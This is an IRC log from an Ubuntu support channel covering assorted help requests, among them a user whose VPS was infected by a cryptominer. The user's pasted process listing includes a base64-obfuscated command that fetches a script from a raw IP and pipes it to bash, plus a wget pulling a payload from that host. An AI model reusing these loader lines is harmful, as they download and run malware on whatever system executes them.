[19:33] <xmetal> was getting into ECA stuff (studying) and then i have just been so sidetracked and didn't go back ... have been meaning to
[19:33] <jvw1> create noise somewhere else
[19:33] <jvw1> I don't know the specifics
[19:34] <jvw1> but I have heard it can get really nasty
[19:34] <Flannel> syb0rg, jvw1: Hi. Can you guys move this conversation to #ubuntu-offtopic? thanks.
[19:34] <jvw1> sure
[19:34] <syb0rg> alright
[19:34] <jvw1> looks like I need to register first...
[19:35] <syb0rg> heh
[19:35] <syb0rg> honestly I should go do stuff anyway
[19:35] <syb0rg> good chat jvw1
[19:35] <jvw1> yep for sure
[19:35] <jvw1> good luck!
[19:44] <Mutter> Hi guys, is there any way i can disable wget as a simple user? Just for my user
[19:48] <tomreyn> Mutter: that's an unusual need, can you discuss why youneed this?
[19:49] <Mutter> Yeah, i got an annoing miner that i dont know how it ended there. It does a base64 command to decript an address and executes a wget from an ip. I need to block eighter the wget command or that specific ip
[19:50]  * tomreyn needs to go, sorry, hopesomeone else can assist
[19:50] <Mutter> 47067 ?        S      0:00 sh -c echo -n 'd2dldCAtcSAtTyAtIGh0dHA6Ly8yMDQuNDguMjQuNzIvaW5kZXguaHRtbCB8IGJhc2g=' | base64 -d | bash
[19:50] <Mutter> 47070 ?        S      0:00 bash
[19:50] <Mutter> 47072 ?        S      0:00 bash
[19:50] <Mutter> 47088 ?        S      0:00 wget http://204.48.24.72/zeenuts -O ./0amdpE5K
[19:51] <Mutter> It’s not in crontab but it keeps on starting sometime after i kill it
[19:52] <Mutter> 15134 ?        Ssl    0:03 []
[19:52] <Mutter> 15160 ?        S      0:00 ./5DiaEd75 ./bNlMGMON
[19:52] <Mutter> 15162 ?        S      0:00 ./5DiaEd75 ./bnkI202h
[19:52] <Mutter> 15183 ?        S      0:00 sleep 5
[19:52] <Mutter> 15184 ?        S      0:00 sleep 5
[19:56] <CheetahPixie> So.
[19:57] <CheetahPixie> I am still having the second display issue.
[19:57] <CheetahPixie> https://i.imgur.com/mPvxnkk.png
[19:57] <CheetahPixie> Earlier is on 4.17-rc1. The exact same thing happens on anywhere from 4.15 and up.
[19:57] <CheetahPixie> The latter is on 4.14.35.
[19:57] <CheetahPixie> Any clue?
[20:02] <CheetahPixie> I'm also getting incorrect PCI header signatures or whatever on stuff that's above 4.14.
[20:02] <oerheks> maybe what videocard, what driver version helps.. but with a custom kernel from mainline comes with no official support
[20:02] <oerheks> check bios updates too ?
[20:03] <CheetahPixie> Newest amdgpu, RX480.
[20:04] <CheetahPixie> Even official Ubuntu kernels are broken.
[20:04] <oerheks> heh... "broken" or your hardware is too new :-D
[20:05] <CheetahPixie> Uh.
[20:05] <CheetahPixie> Why then did this work in 4.14 and not above?
[20:05] <CheetahPixie> I am on 4.14 now and have both monitors on.
[20:05] <CheetahPixie> Anything ABOVE 4.14 does not work.
[20:05] <CheetahPixie> And this is a mainline, not official Ubuntu kernel.
[20:06] <CheetahPixie> So Mainline DOES have support for it.
[20:06] <CheetahPixie> (Or, should.)
[20:06] <CheetahPixie> https://www.phoronix.com/forums/forum/linux-graphics-x-org-drivers/open-source-amd-linux/45819-radeon-0000-01-00-0-invalid-rom-contents And, according to this, the invalid ROM message has nothing to do with it.
[20:07] <phil42> do we know which kernel 18.04.1 will use?
[20:07] <CheetahPixie> And I know for a fact that proper support for Polaris 10 was added in 4.8.
[20:08] <CheetahPixie> I had to deal with its absence on an older kernel back then.
[20:08] <CheetahPixie> oerheks Any other ideas?
[20:09] <oerheks> nope, i was not aware that it worked under 4.14 .. card should be supported, https://support.amd.com/en-us/kb-articles/Pages/Radeon-Software-for-Linux-Release-Notes.aspx
[20:09] <oerheks> maybe worth a bugreport??
[20:11] <CheetahPixie> I literally said that right after I posted the screenshot.
[20:12] <CheetahPixie> And I am using amdgpu, not amdgpu-pro.
[20:12] <Battle> okay...
[20:12] <CheetahPixie> (Which are FOSS drivers included in the repos, much like nouveau, but actually functional.)
[20:12] <Battle> does this look perfectly normal to create a bridge for br0 into eth0 https://pastebin.com/JafPHXvA
[20:12] <Battle> ?
[20:13] <Battle> (personally it seems odd that the guide said to remove all references of eth0 originally in the file, but i know that br0 would become the main one so perhaps its normal...?)
[20:16] <moffa> Battle You should add your up route command to the bridge as well
[20:16] <moffa> Battle and your ipv6 configuration if you want it as well
[20:16] <Battle> I wasnt sure if the ipv6 would interfere/break the bridge so left that out
[20:17] <Battle> so if i uncommented that but replaced eth0 with br0 it would be okay?
[20:17] <tomreyn> Mutter: you have a compromise and are analyzing this while it's live?
[20:17] <moffa> Yes
[20:18] <Mutter> To be honest i think that i am the idiot that downloaded that script...the problem is that i cant get rid of it
[20:18] <Battle> moffa okay thanks, and when you say about the up command, should I copy that whole up line of text and just replace eth0 with br0 ?
[20:18] <compdoc> Battle, this works for me   https://pastebin.com/RHSbPjy3
[20:18] <moffa> change your dev at the end to the command to  as well br0
[20:19] <compdoc> oops, got the names wrong - both should be br0
[20:19] <Battle> so it should be like this: up route add -net 1.1.108.64 netmask 255.255.255.224 gw 1.1.108.65 br0 br0
[20:19] <Battle> ?
[20:20] <Battle> compdoc thank you, i notice yours has no up command, what exactly is this up command?
[20:21] <tomreyn> Mutter: if you don't control it and it has the ability to execute arbitrary code on your system, then it's compromised and needs to be cleaned. doing that while a malware is live is a bad idea. power off the system (hard), take an image of it if you want to analyze it later, and reinstall the system and restore backups (carefully reviewed, unless you know for a fact that the initial compromise took place after the backups were taken).
[20:21] <moffa> so it should be like this: up route add -net 1.1.108.64 netmask 255.255.255.224 gw 1.1.108.65 dev br0
[20:22] <Battle> ahhhh okay thanks
[20:22] <Battle> moment of truth.... the restart command!
[20:22] <compdoc> battle you wont need any up commands in you use ubuntu 14.04 or newer. my paste is the file: /etc/network/interfaces
[20:22] <Mutter> Crap...got disconnected
[20:22] <compdoc> *if you
[20:23] <Battle> oh right, im running ubuntu 16
[20:23] <Battle> 16.04 to be exact
[20:23] <Battle> ill try with it and without if it doesnt work but if it works ill leave it alone because ive been battling this for long enough XD
[20:23] <moffa> the up route add command adds a static route
[20:23] <compdoc> I never mess with up down commands. no need. I also dont use network-manager on my kvm servers
[20:24] <Battle> Failed to restart network.service: Unit network.service not found.
[20:24] <Battle> XD
[20:24] <Battle> is it networkbingb ?
[20:24] <tomreyn> Mutter: if you don't control it and it has the ability to execute arbitrary code on your system, then it's compromised and needs to be cleaned. doing that while a malware is live is a bad idea. power off the system (hard), take an image of it if you want to analyze it later, and reinstall the system and restore backups (carefully reviewed, unless you know for a fact that the initial compromise took place after the backups were taken).
[20:24] <Battle> is it networking ?
[20:24] <Battle> *
[20:25] <Battle> some guide say network, others networking... but i wanna make sure i do the right thing :S
[20:25] <moffa> systemctl status networking -- see what the error sas
[20:27] <Battle> oh it restarted network now, and i lost ssh acecss :(
[20:27] <Mutter> tomreyn:  i think i downloaded that thing and executed it....the problem is that it’s a vps for witch i dont have root privileges. I was thinking of disabling wget for my user or banning that ip until i can contact the admin
[20:28] <Battle> time to activate rescue mode again
[20:28] <moffa> Give it a sec to come back online
[20:29] <tomreyn> Mutter: better contact the admin right now and see what you can do to contain it later.
[20:29] <moffa> Sorry gotta run - hope you figure it out
[20:30] <Mutter> tomreyn: i cant get hold of him...he didnt reply to my messages so far....maybe he’s out or something
[20:30] <Battle> yeah its definately not coming back on
[20:30] <tomreyn> Mutter: you can: alias wget=/bin/true
[20:31] <tomreyn> Mutter: also consider contacting the company hosting it then. they won't usually delete any data, just require hi9m to clean it up properly.
[20:31] <Mutter> That will stop wget command until the admin will reply?
[20:32] <tomreyn> Mutter: for your user, it should.
[20:32] <Mutter> I’ll try it
[20:34] <tomreyn> Battle: note there is also #hetzner here on freenode where you may get assistence specific to them.
[20:35] <Battle> yeah it tried there last night, never got any response and i was there the whole day XD
[20:35] <Battle> also, systemctl status networking produces: http://prntscr.com/jnbyzj
[20:35] <ghost__> Hello chat
[20:36] <tomreyn> Battle: if this is a dedicated server, consider requesting a LARA remote console from them (free for 2 hours), which enables to you to fix networking stuff without having to reboot into emergency.
[20:36] <tomreyn> it's a networked keyboard, video, mouse (KVM)
[20:37] <Battle> im currently inside a vKVM
[20:37] <Battle> so i have access to the server to fix the networking , is this the same as what you suggested?
[20:38] <Battle> or is it better to use the lara one?
[20:38] <Battle> http://prntscr.com/jnc0le
[20:38] <Battle> so this confirms the brige is setup correctly, doesnt it?
[20:38] <Battle> because its linked to eth0
[20:39] <Battle> so only thing i can think of is the ips inside the interface file....but these are exactly as eth0 prior to my changes ><
[20:56] <ghost__> I would like to see if anyone has a write-up or video they would like to post here https://www.hublinux.com/
[21:11] <Battle> device eth0 is already a member of a bridge; can't enslave it to bridge br0
[21:12] <Battle> ><
[21:12] <greatgatsby> Hello.  I'm trying to find "netplan" info in the official Ubuntu 18.04 server documentation.  The docs seems to still refer to /etc/network/interfaces.  Are there official Ubuntu docs on netplan for Ubuntu server?
[21:12] <arooni> anyway to install libcurl3 for 18.04 without breaking *everything* ?
[21:18] <nname> hey. /home/user/Templates <-- this is the nautilus templates folder. can I create a file like "notes.txt" in here, and somehow have it created with a timestamp as its content, or in its name such as notes-$(date).txt, etc.?
[21:22] <memphisto> nname: use CLI; go to folder and touch notes-$(date +"%Y-%m-%d_%H-%M-%S")
[21:23] <memphisto> experiment
[21:23] <memphisto> live on the edge
[21:24] <nname> memphisto, thanks, though i was looking for a nautilus solution.
[21:25] <memphisto> don't think GUI filemanagers are that versatile
[21:28] <tomreyn> greatgatsby: you're right, looks like the server documentation wasn't updated, it still discusses configurations using ifconfig. there is the netplan(5) man page as well as https://netplan.io/
[21:28] <tomreyn> i also think i heard that improved documentation is in the works, but don't know the details.
[21:28] <nname> someone on the ubuntu channel suggested nautilus-actions, that seems to add a button to the context menu and run your command, so that works. i will probably end up just using the terminal though
[21:29] <greatgatsby> tomreyn: thanks a lot for confirming.
[21:30] <bosphus2> what files are needed to make a clean install like an existing one (aside from media)...just .config?
[21:32] <arooni> how to get unicode smileys on ubuntu 18.04?
[21:36] <memphisto> :)
[21:38] <rud0lf> ☺
[21:58] <swift110> hey
[22:02] <sweatered> Hiya! How does one 'calibrate' (adjust gamma/RGB sliders) on Ubuntu. The calibration option is for people with calibration devices, but for mere mortals how can it be done? Thanks:)
[22:06] <Hanumaan> I use mendeleydesktop tool, it is consistantly concuming CPU to 100% how to stop this or only mendeleydesktop can rectify this? and I don't think this is from the tool provider because it is consuming CPU even if I use an older version. also latest version worked till yesterday fine.
[22:10] <arooni> how do i get color emojis on ubuntu
[22:10] <arooni> 18.04 ?  they're supposed to be 'out of the box'  they are not :(
[22:20] <thewaspsknees> Can you see the emoji here? https://en.wikipedia.org/wiki/Emoji
[22:20] <thewaspsknees> If not try installinf ttf-ancient-fonts 'sudo apt install ttf-ancient-fonts'
[22:23] <RoadRunner> how to turn off accountsservice from cli?
[22:26] <thewaspsknees> RoadRunner: https://askubuntu.com/questions/685193/what-starts-accounts-daemon
[22:41] <transhuman> hi! I am having an issue with apache2 its rewriting my http requests for a domain to https: but my sites-enabled port 80 configuration shows no ssl setup
[22:41] <transhuman> err. .. no redirects for https
[22:42] <transhuman> holy crap I guess I have to learn to read better its rewriting it the last line of the configuration file
[22:52] <arooni> anyway on ubuntu 18.04 to make the mouse scroll *SLOWER* ?
[22:58] <Two_Dogs> arooni: the scroll setting for mouse has some options, tried any? natural scroll help?
[22:59] <arooni> Two_Dogs: it just switches the direction of the scroll
[22:59] <arooni> it scrolls nearly an entire page for each 'click' currently
[22:59] <arooni> just posted https://stackoverflow.com/questions/50557251/anyway-to-slow-down-speed-of-wireless-mouse-middle-button-scrolling-on-18-04
[23:01] <Two_Dogs> arooni: you familiar with the tweaks tool?
[23:01] <arooni> Two_Dogs: yup got it installed
[23:02] <Two_Dogs> arooni: no joy either?
[23:05] <arooni> i can adjust the accelration profiel.; but i think thats w/r/t how the mouse moves
[23:05] <arooni> not what happens with the scroll wheel
[23:24] <luketheduke1> My stupid laptop has a button that closes a window right by refresh button. Is there a way I could stop ubuntu from responding to that keypress?
[23:44] <Two_Dogs> luketheduke1: probably not
[23:45] <Two_Dogs> put a sticky note on it
[23:52] <realies> ive trained a neural net on matlab and wonder if i can use it on the pi?
[23:52] <realies> woops wrong channel